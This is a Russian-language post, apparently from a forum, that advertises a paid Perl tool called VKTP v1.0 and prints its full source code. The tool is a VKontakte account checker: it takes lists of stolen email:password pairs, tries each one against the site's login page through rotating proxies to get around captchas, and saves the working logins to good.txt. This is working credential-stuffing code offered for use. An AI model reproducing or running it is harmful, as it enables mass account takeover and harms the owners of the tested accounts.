VKTP v 1.0. - vKontakte чекер, написан на Perl. Продается в виде *.pl файла (т.е. вы сможете просмотреть исходный код). Для запуска нужен интерпретатор Perl. (Под ОС *nix установлен по умолчанию, для Windows придется скачать).
[Получает список аккаунтов из файла accounts.txt]
[Получает прокси из файла proxy.txt]
[Рандомно берет proxy и чекает аккаунт]
[Если вылезла капча, меняет прокси]
[Весь валид записывает в good.txt]
Код:
#! /usr/bin/perl
#Чекер фКонтакте (c)0ded by $p01nt;use warnings;
use strict;
use HTTP::Cookies;
use LWP 5.64;open(ACC,"accounts.txt");my @acc=<ACC>;
open(PROXY,"proxy.txt");my @proxy=<PROXY>;
open(LOG,">>good.txt");
foreach (@acc){
REPEAT:
chomp($_);
my $proxyrandom=rand($#proxy);
$proxyrandom=$proxy[$proxyrandom];my ($email,$pass)=split(":",$_);
my $browser = LWP::UserAgent->new();
my $cookies = HTTP::Cookies->new();
$browser->timeout(20);
$browser->cookie_jar($cookies);
if(defined $proxyrandom){
$browser->proxy(['http']=>"http://".$proxyrandom."/"); }my $response=$browser->post('http://vkontakte.ru/login.php',
['email' => $email,
'pass' => $pass])->code;
if ($response == 302) {
print "$email:$pass:$proxyrandom - GOOD\n";
print LOG "$email:$pass\n";
} elsif($response == 500 or $response == 501 or $response == 502) {goto REPEAT;} else { print "$email:$pass:$proxyrandom - BAD\n"; }
}